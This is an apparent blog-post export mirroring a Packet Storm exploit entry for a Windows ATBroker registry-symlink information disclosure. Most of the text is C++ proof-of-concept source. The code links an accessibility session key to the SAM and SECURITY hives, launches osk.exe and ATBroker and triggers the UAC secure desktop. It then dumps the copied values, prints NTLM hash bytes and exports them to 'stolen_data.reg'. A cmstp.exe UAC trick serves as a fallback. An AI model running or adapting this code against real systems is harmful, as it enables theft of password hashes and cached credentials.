{"id":49972,"date":"2026-04-28T13:52:47","date_gmt":"2026-04-28T13:52:47","guid":{"rendered":"http:\/\/localhost\/?p=49972"},"modified":"2026-04-28T13:52:47","modified_gmt":"2026-04-28T13:52:47","slug":"microsoft-windows-tbroker-registry-symlink-information-disclosure","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=49972","title":{"rendered":"\ud83d\udcc4 Microsoft Windows TBroker Registry Symlink Information Disclosure_PACKETSTORM:219933"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-28T17:32:54&#8243;,&#8221;description&#8221;:&#8221;This code demonstrates a proof of concept attack targeting Windows ATBroker Assistive Technology Broker to achieve sensitive information disclosure through unsafe Registry handling&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-28T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-28T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Microsoft Windows TBroker Registry Symlink Information Disclosure&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219933&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25186&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Windows TBroker Registry Symlink Information Disclosure                                                          |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : No standalone download available                                                                                 |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This code demonstrates a proof-of-concept attack targeting Windows ATBroker (Assistive Technology Broker) to achieve sensitive information disclosure through unsafe Registry handling.\\n    \\n    [+] POC        :  \\n    \\n    #include \\u003cWindows.h\\u003e\\n    #include \\u003ccomdef.h\\u003e\\n    #include \\u003cstdio.h\\u003e\\n    #include \\u003cvector\\u003e\\n    #include \\u003cstring\\u003e\\n    #include \\u003cmap\\u003e\\n    #include \\u003cthread\\u003e\\n    #include \\u003cchrono\\u003e\\n    #include \\u003csddl.h\\u003e\\n    #include \\u003cwinternl.h\\u003e\\n    #include \\u003caclapi.h\\u003e\\n    #pragma comment(lib, \\&#8221;advapi32.lib\\&#8221;)\\n    #pragma comment(lib, \\&#8221;ntdll.lib\\&#8221;)\\n    \\n    #define INTERNAL_REG_OPTION_CREATE_LINK (0x00000002L)\\n    #define INTERNAL_REG_OPTION_OPEN_LINK (0x00000100L)\\n    \\n    extern \\&#8221;C\\&#8221; {\\n        NTSTATUS NTAPI NtCreateKey(\\n            PHANDLE KeyHandle,\\n            ACCESS_MASK DesiredAccess,\\n            POBJECT_ATTRIBUTES ObjectAttributes,\\n            ULONG TitleIndex,\\n            PUNICODE_STRING Class,\\n            ULONG CreateOptions,\\n            PULONG Disposition\\n        );\\n    \\n        NTSTATUS NTAPI NtOpenKeyEx(\\n            PHANDLE KeyHandle,\\n            ACCESS_MASK DesiredAccess,\\n            POBJECT_ATTRIBUTES ObjectAttributes,\\n            ULONG OpenOptions\\n        );\\n    \\n        NTSTATUS NTAPI NtSetValueKey(\\n            HANDLE KeyHandle,\\n            PUNICODE_STRING ValueName,\\n            ULONG TitleIndex,\\n            ULONG Type,\\n            PVOID Data,\\n            ULONG DataSize\\n        );\\n    \\n        NTSTATUS NTAPI NtDeleteKey(HANDLE KeyHandle);\\n        NTSTATUS NTAPI RtlNtStatusToDosError(NTSTATUS Status);\\n        VOID NTAPI RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);\\n    }\\n    class RegistryUtils {\\n    public:\\n        static std::wstring GetUserSid() {\\n            HANDLE hToken = nullptr;\\n            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, \\u0026hToken))\\n                return L\\&#8221;\\&#8221;;\\n    \\n            DWORD dwSize = 0;\\n            GetTokenInformation(hToken, TokenUser, nullptr, 0, \\u0026dwSize);       \\n            std::vector\\u003cBYTE\\u003e buffer(dwSize);\\n            if (!GetTokenInformation(hToken, TokenUser, buffer.data(), dwSize, \\u0026dwSize)) {\\n                CloseHandle(hToken);\\n                return L\\&#8221;\\&#8221;;\\n            }\\n    \\n            PTOKEN_USER pTokenUser = reinterpret_cast\\u003cPTOKEN_USER\\u003e(buffer.data());\\n            LPWSTR lpSid = nullptr;\\n            \\n            if (!ConvertSidToStringSid(pTokenUser-\\u003eUser.Sid, \\u0026lpSid)) {\\n                CloseHandle(hToken);\\n                return L\\&#8221;\\&#8221;;\\n            }\\n    \\n            std::wstring sid(lpSid);\\n            LocalFree(lpSid);\\n            CloseHandle(hToken);\\n            \\n            return sid;\\n        }\\n    \\n        static std::wstring RegPathToNative(const std::wstring\\u0026 path) {\\n            std::wstring regpath = L\\&#8221;\\\\\\\\Registry\\\\\\\\\\&#8221;;\\n    \\n            if (path.empty() || path[0] == L&#8217;\\\\\\\\&#8217;)\\n                return path;\\n    \\n            if (path.find(L\\&#8221;HKLM\\\\\\\\\\&#8221;) == 0) {\\n                return regpath + L\\&#8221;Machine\\\\\\\\\\&#8221; + path.substr(5);\\n            }\\n            else if (path.find(L\\&#8221;HKU\\\\\\\\\\&#8221;) == 0) {\\n                return regpath + L\\&#8221;User\\\\\\\\\\&#8221; + path.substr(4);\\n            }\\n            else if (path.find(L\\&#8221;HKCU\\\\\\\\\\&#8221;) == 0) {\\n                return regpath + L\\&#8221;User\\\\\\\\\\&#8221; + GetUserSid() + L\\&#8221;\\\\\\\\\\&#8221; + path.substr(5);\\n            }\\n            \\n            return L\\&#8221;\\&#8221;;\\n        }\\n    \\n        static bool CreateRegistrySymlink(const std::wstring\\u0026 symlink, const std::wstring\\u0026 target, bool isVolatile) {\\n            std::wstring nativeSymlink = RegPathToNative(symlink);\\n            std::wstring nativeTarget = RegPathToNative(target);\\n    \\n            if (nativeSymlink.empty() || nativeTarget.empty())\\n                return false;\\n    \\n            printf(\\&#8221;[*] Creating symlink: %ls -\\u003e %ls\\\\n\\&#8221;, nativeSymlink.c_str(), nativeTarget.c_str());\\n    \\n            UNICODE_STRING name;\\n            RtlInitUnicodeString(\\u0026name, nativeSymlink.c_str());\\n    \\n            OBJECT_ATTRIBUTES objAttr;\\n            InitializeObjectAttributes(\\u0026objAttr, \\u0026name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);\\n    \\n            HANDLE hKey = nullptr;\\n            ULONG disposition = 0;\\n            \\n            ULONG options = INTERNAL_REG_OPTION_CREATE_LINK | \\n                            (isVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE);\\n    \\n            NTSTATUS status = NtCreateKey(\\u0026hKey, KEY_ALL_ACCESS, \\u0026objAttr, 0, nullptr, options, \\u0026disposition);\\n            \\n            if (status != 0) {\\n                SetLastError(RtlNtStatusToDosError(status));\\n                return false;\\n            }\\n    \\n            UNICODE_STRING valueName;\\n            RtlInitUnicodeString(\\u0026valueName, L\\&#8221;SymbolicLinkValue\\&#8221;);\\n    \\n            status = NtSetValueKey(hKey, \\u0026valueName, 0, REG_LINK, \\n                                   (PVOID)nativeTarget.c_str(), \\n                                   nativeTarget.length() * sizeof(WCHAR));\\n            \\n            CloseHandle(hKey);\\n            \\n            if (status != 0) {\\n                SetLastError(RtlNtStatusToDosError(status));\\n                return false;\\n            }\\n    \\n            return true;\\n        }\\n    \\n        static bool DeleteRegistrySymlink(const std::wstring\\u0026 symlink) {\\n            std::wstring nativeSymlink = RegPathToNative(symlink);\\n            if (nativeSymlink.empty())\\n                return false;\\n    \\n            UNICODE_STRING name;\\n            RtlInitUnicodeString(\\u0026name, nativeSymlink.c_str());\\n    \\n            OBJECT_ATTRIBUTES objAttr;\\n            InitializeObjectAttributes(\\u0026objAttr, \\u0026name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr);\\n    \\n            HANDLE hKey = nullptr;\\n            NTSTATUS status = NtOpenKeyEx(\\u0026hKey, DELETE, \\u0026objAttr, 0);\\n            \\n            if (status != 0) {\\n                SetLastError(RtlNtStatusToDosError(status));\\n                return false;\\n            }\\n    \\n            status = NtDeleteKey(hKey);\\n            CloseHandle(hKey);\\n    \\n            if (status != 0) {\\n                SetLastError(RtlNtStatusToDosError(status));\\n                return false;\\n            }\\n    \\n            return true;\\n        }\\n    };\\n    class DataExtractor {\\n    public:\\n        struct RegistryValue {\\n            std::wstring name;\\n            DWORD type;\\n            std::vector\\u003cBYTE\\u003e data;\\n        };\\n    \\n        static std::vector\\u003cRegistryValue\\u003e ExtractRegistryValues(HKEY rootKey, const std::wstring\\u0026 subKey) {\\n            std::vector\\u003cRegistryValue\\u003e values;\\n            HKEY hKey = nullptr;\\n            \\n            if (RegOpenKeyExW(rootKey, subKey.c_str(), 0, KEY_READ, \\u0026hKey) != ERROR_SUCCESS) {\\n                printf(\\&#8221;[!] Failed to open key: %ls\\\\n\\&#8221;, subKey.c_str());\\n                return values;\\n            }\\n    \\n            DWORD index = 0;\\n            WCHAR valueName[256];\\n            DWORD valueNameSize = 256;\\n            DWORD valueType = 0;\\n            DWORD dataSize = 0;\\n    \\n            while (RegEnumValueW(hKey, index++, valueName, \\u0026valueNameSize, nullptr, \\n                                  \\u0026valueType, nullptr, \\u0026dataSize) == ERROR_SUCCESS) {\\n                \\n                std::vector\\u003cBYTE\\u003e data(dataSize);\\n                if (RegEnumValueW(hKey, index &#8211; 1, valueName, \\u0026valueNameSize, nullptr,\\n                                   \\u0026valueType, data.data(), \\u0026dataSize) == ERROR_SUCCESS) {\\n                    \\n                    RegistryValue val;\\n                    val.name = valueName;\\n                    val.type = valueType;\\n                    val.data = std::move(data);\\n                    values.push_back(val);\\n                    \\n                    printf(\\&#8221;[+] Extracted value: %ls (Type: %d, Size: %d)\\\\n\\&#8221;, \\n                           valueName, valueType, dataSize);\\n                }\\n                \\n                valueNameSize = 256;\\n                dataSize = 0;\\n            }\\n    \\n            RegCloseKey(hKey);\\n            return values;\\n        }\\n    \\n        static void DumpHexData(const std::vector\\u003cBYTE\\u003e\\u0026 data, size_t maxLen = 256) {\\n            size_t len = min(data.size(), maxLen);\\n            for (size_t i = 0; i \\u003c len; i++) {\\n                printf(\\&#8221;%02X \\&#8221;, data[i]);\\n                if ((i + 1) % 16 == 0) printf(\\&#8221;\\\\n\\&#8221;);\\n                else if ((i + 1) % 8 == 0) printf(\\&#8221; \\&#8221;);\\n            }\\n            if (len \\u003c data.size()) printf(\\&#8221;&#8230; (truncated)\\&#8221;);\\n            printf(\\&#8221;\\\\n\\&#8221;);\\n        }\\n    };\\n    class ATBrokerExploit {\\n    private:\\n        std::wstring m_sessionPath;\\n        std::vector\\u003cstd::pair\\u003cstd::wstring, std::wstring\\u003e\\u003e m_targets;\\n        \\n        void InitializeTargets() {\\n            m_targets = {\\n                {L\\&#8221;sam\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SAM\\\\\\\\SAM\\&#8221;},\\n                {L\\&#8221;security\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SECURITY\\&#8221;},\\n                {L\\&#8221;system\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SYSTEM\\&#8221;},\\n                {L\\&#8221;lsa\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SYSTEM\\\\\\\\CurrentControlSet\\\\\\\\Control\\\\\\\\Lsa\\&#8221;},\\n                {L\\&#8221;cached_creds\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SECURITY\\\\\\\\Cache\\&#8221;},\\n                {L\\&#8221;domain_cached\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SECURITY\\\\\\\\Policy\\\\\\\\Secrets\\&#8221;},\\n                {L\\&#8221;wdigest\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SYSTEM\\\\\\\\CurrentControlSet\\\\\\\\Control\\\\\\\\SecurityProviders\\\\\\\\WDigest\\&#8221;},\\n                {L\\&#8221;kerberos_keys\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SECURITY\\\\\\\\Policy\\\\\\\\Keys\\&#8221;},\\n                {L\\&#8221;user_credentials\\&#8221;, L\\&#8221;\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SAM\\\\\\\\SAM\\\\\\\\Domains\\\\\\\\Account\\\\\\\\Users\\&#8221;},\\n            };\\n        }\\n    \\n        std::wstring BuildSessionPath() {\\n            DWORD sessionId = 0;\\n            ProcessIdToSessionId(GetCurrentProcessId(), \\u0026sessionId);\\n            \\n            wchar_t path[512];\\n            swprintf_s(path, L\\&#8221;HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\Session%d\\\\\\\\ATConfig\\\\\\\\colorfiltering\\&#8221;, \\n                       sessionId);\\n            return std::wstring(path);\\n        }\\n    \\n        bool TriggerSecureDesktop() {\\n            printf(\\&#8221;[*] Triggering UAC secure desktop&#8230;\\\\n\\&#8221;);\\n            SHELLEXECUTEINFOW sei = { sizeof(sei) };\\n            sei.lpVerb = L\\&#8221;runas\\&#8221;;\\n            sei.lpFile = L\\&#8221;cmd.exe\\&#8221;;\\n            sei.lpParameters = L\\&#8221;\/c echo Testing \\u003e nul\\&#8221;;\\n            sei.nShow = SW_HIDE;\\n            ShellExecuteExW(\\u0026sei);     \\n            printf(\\&#8221;[+] UAC prompt should appear. Dismiss or let it timeout.\\\\n\\&#8221;);\\n            return true;\\n        }\\n    \\n        bool WaitForCopy() {\\n            printf(\\&#8221;[*] Waiting for ATBroker to copy settings&#8230;\\\\n\\&#8221;);\\n    \\n            for (int i = 0; i \\u003c 30; i++) {\\n                Sleep(1000);\\n    \\n                HKEY hKey = nullptr;\\n                if (RegOpenKeyExW(HKEY_USERS, \\n                                  L\\&#8221;.DEFAULT\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\ATConfig\\\\\\\\colorfiltering\\&#8221;,\\n                                  0, KEY_READ, \\u0026hKey) == ERROR_SUCCESS) {\\n                    WCHAR valueName[256];\\n                    DWORD valueNameSize = 256;\\n                    if (RegEnumValueW(hKey, 0, valueName, \\u0026valueNameSize, nullptr, \\n                                      nullptr, nullptr, nullptr) == ERROR_SUCCESS) {\\n                        RegCloseKey(hKey);\\n                        return true;\\n                    }\\n                    RegCloseKey(hKey);\\n                }\\n            }\\n            \\n            return false;\\n        }\\n    \\n        void ExtractAndDumpData() {\\n            std::wstring targetPath = L\\&#8221;.DEFAULT\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\ATConfig\\\\\\\\colorfiltering\\&#8221;;\\n            \\n            printf(\\&#8221;\\\\n[*] Extracting stolen data&#8230;\\\\n\\&#8221;);\\n            auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);\\n            \\n            if (values.empty()) {\\n                printf(\\&#8221;[!] No data extracted!\\\\n\\&#8221;);\\n                return;\\n            }\\n            \\n            printf(\\&#8221;\\\\n[+] Successfully extracted %zu values!\\\\n\\&#8221;, values.size());\\n            \\n            for (const auto\\u0026 val : values) {\\n                printf(\\&#8221;\\\\n&#8212; Value: %ls &#8212;\\\\n\\&#8221;, val.name.c_str());\\n                printf(\\&#8221;Type: \\&#8221;);\\n                switch (val.type) {\\n                    case REG_SZ: printf(\\&#8221;REG_SZ\\\\n\\&#8221;); break;\\n                    case REG_BINARY: printf(\\&#8221;REG_BINARY\\\\n\\&#8221;); break;\\n                    case REG_DWORD: printf(\\&#8221;REG_DWORD\\\\n\\&#8221;); break;\\n                    case REG_QWORD: printf(\\&#8221;REG_QWORD\\\\n\\&#8221;); break;\\n                    case REG_MULTI_SZ: printf(\\&#8221;REG_MULTI_SZ\\\\n\\&#8221;); break;\\n                    default: printf(\\&#8221;Unknown (0x%X)\\\\n\\&#8221;, val.type);\\n                }\\n                \\n                printf(\\&#8221;Data (%zu bytes):\\\\n\\&#8221;, val.data.size());\\n                \\n                if (val.type == REG_SZ || val.type == REG_MULTI_SZ) {\\n                    wprintf(L\\&#8221;%ls\\\\n\\&#8221;, (wchar_t*)val.data.data());\\n                } else {\\n                    DataExtractor::DumpHexData(val.data);\\n                }\\n            }\\n        }\\n    \\n    public:\\n        ATBrokerExploit() {\\n            InitializeTargets();\\n        }\\n    \\n        bool Exploit() {\\n            printf(\\&#8221;\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\&#8221;);\\n            printf(\\&#8221;  CVE-2026-25186 &#8211; ATBroker Exploit\\\\n\\&#8221;);\\n            printf(\\&#8221;  Windows Information Disclosure\\\\n\\&#8221;);\\n            printf(\\&#8221;========================================\\\\n\\\\n\\&#8221;);\\n            m_sessionPath = BuildSessionPath();\\n            printf(\\&#8221;[*] Session path: %ls\\\\n\\&#8221;, m_sessionPath.c_str());\\n    \\n            RegistryUtils::DeleteRegistrySymlink(m_sessionPath);\\n            std::wstring targetPath = m_targets[0].second;\\n            \\n            printf(\\&#8221;\\\\n[*] Creating malicious registry symlink&#8230;\\\\n\\&#8221;);\\n            if (!RegistryUtils::CreateRegistrySymlink(m_sessionPath, targetPath, true)) {\\n                printf(\\&#8221;[!] Failed to create symlink: %d\\\\n\\&#8221;, GetLastError());\\n                return false;\\n            }\\n            printf(\\&#8221;[+] Symlink created successfully\\\\n\\&#8221;);\\n            \\n            printf(\\&#8221;\\\\n[*] Launching assistive technology (osk.exe)&#8230;\\\\n\\&#8221;);\\n            ShellExecuteW(nullptr, L\\&#8221;open\\&#8221;, L\\&#8221;osk.exe\\&#8221;, L\\&#8221;\\&#8221;, nullptr, SW_SHOW);\\n            Sleep(2000);\\n            printf(\\&#8221;[*] Ensuring ATBroker is running&#8230;\\\\n\\&#8221;);\\n            STARTUPINFOW si = { sizeof(si) };\\n            PROCESS_INFORMATION pi = {};\\n            CreateProcessW(L\\&#8221;C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\ATBroker.exe\\&#8221;, nullptr, nullptr, nullptr, \\n                           FALSE, 0, nullptr, nullptr, \\u0026si, \\u0026pi);\\n            CloseHandle(pi.hProcess);\\n            CloseHandle(pi.hThread);\\n            Sleep(1000);\\n    \\n            TriggerSecureDesktop();\\n    \\n            if (!WaitForCopy()) {\\n                printf(\\&#8221;[!] Timeout waiting for data copy\\\\n\\&#8221;);\\n                RegistryUtils::DeleteRegistrySymlink(m_sessionPath);\\n                return false;\\n            }\\n            \\n            printf(\\&#8221;[+] Data copied successfully!\\\\n\\&#8221;);\\n    \\n            ExtractAndDumpData();\\n    \\n            printf(\\&#8221;\\\\n[*] Cleaning up&#8230;\\\\n\\&#8221;);\\n            RegistryUtils::DeleteRegistrySymlink(m_sessionPath);\\n            system(\\&#8221;taskkill \/F \/IM osk.exe \\u003e nul 2\\u003e\\u00261\\&#8221;);\\n            \\n            printf(\\&#8221;\\\\n[+] Exploit completed!\\\\n\\&#8221;);\\n            return true;\\n        }\\n    };\\n    class AdvancedATBrokerExploit : public ATBrokerExploit {\\n    private:\\n        void BypassUACForTrigger() {\\n           \\n            printf(\\&#8221;[*] Attempting silent UAC trigger&#8230;\\\\n\\&#8221;);\\n            SHELLEXECUTEINFOW sei = { sizeof(sei) };\\n            sei.lpVerb = L\\&#8221;runas\\&#8221;;\\n            sei.lpFile = L\\&#8221;cmstp.exe\\&#8221;;\\n            sei.lpParameters = L\\&#8221;\/au \/s C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmstp.exe\\&#8221;;\\n            sei.nShow = SW_HIDE;\\n            ShellExecuteExW(\\u0026sei);\\n        }\\n        \\n        void ExtractNTLMHashes() {\\n    \\n            std::wstring targetPath = L\\&#8221;.DEFAULT\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\ATConfig\\\\\\\\colorfiltering\\&#8221;;\\n            \\n            auto values = DataExtractor::ExtractRegistryValues(HKEY_USERS, targetPath);\\n            \\n            for (const auto\\u0026 val : values) {\\n                if (val.name == L\\&#8221;V\\&#8221; || val.name == L\\&#8221;F\\&#8221;) {\\n                    printf(\\&#8221;\\\\n[!!!] Found potential credential data in %ls:\\\\n\\&#8221;, val.name.c_str());\\n    \\n                    if (val.data.size() \\u003e 0x9c + 16) {\\n                        printf(\\&#8221;NTLM Hash: \\&#8221;);\\n                        for (int i = 0; i \\u003c 16; i++) {\\n                            printf(\\&#8221;%02X\\&#8221;, val.data[0x9c + i]);\\n                        }\\n                        printf(\\&#8221;\\\\n\\&#8221;);\\n                    }\\n                }\\n            }\\n        }\\n    \\n    public:\\n        bool FullExploit() {\\n            if (!Exploit()) {\\n                printf(\\&#8221;[!] Basic exploit failed, trying advanced techniques&#8230;\\\\n\\&#8221;);\\n                BypassUACForTrigger();\\n                Sleep(5000);\\n                ExtractNTLMHashes();\\n            }\\n            return true;\\n        }\\n    };\\n    int wmain(int argc, wchar_t* argv[]) {\\n    \\n        printf(\\&#8221;[*] Running with limited privileges (as designed)\\\\n\\&#8221;);\\n        \\n        AdvancedATBrokerExploit exploit;\\n        \\n        if (exploit.FullExploit()) {\\n            printf(\\&#8221;\\\\n[+] Information disclosure successful!\\\\n\\&#8221;);\\n            printf(\\&#8221;[*] Check .DEFAULT user hive for stolen registry data\\\\n\\&#8221;);\\n            printf(\\&#8221;[*] Run &#8216;regedit&#8217; and navigate to:\\\\n\\&#8221;);\\n            printf(\\&#8221;    HKEY_USERS\\\\\\\\.DEFAULT\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\ATConfig\\\\\\\\colorfiltering\\\\n\\&#8221;);\\n    \\n            system(\\&#8221;reg export \\\\\\&#8221;HKEY_USERS\\\\\\\\.DEFAULT\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\ATConfig\\\\\\\\colorfiltering\\\\\\&#8221; stolen_data.reg \/y\\&#8221;);\\n            printf(\\&#8221;[+] Data saved to stolen_data.reg\\\\n\\&#8221;);\\n            \\n            return 0;\\n        } else {\\n            printf(\\&#8221;\\\\n[!] Exploit failed\\\\n\\&#8221;);\\n            return 1;\\n        }\\n    }\\n    \\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219933&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:5.5,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219933\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-28T17:32:54&#8243;,&#8221;description&#8221;:&#8221;This code demonstrates a proof of concept attack targeting Windows ATBroker Assistive Technology Broker to achieve sensitive information disclosure through unsafe Registry handling&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-28T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-28T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Microsoft Windows&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,70,12,21,13,53,7,11,5],"class_list":["post-49972","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-55","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - 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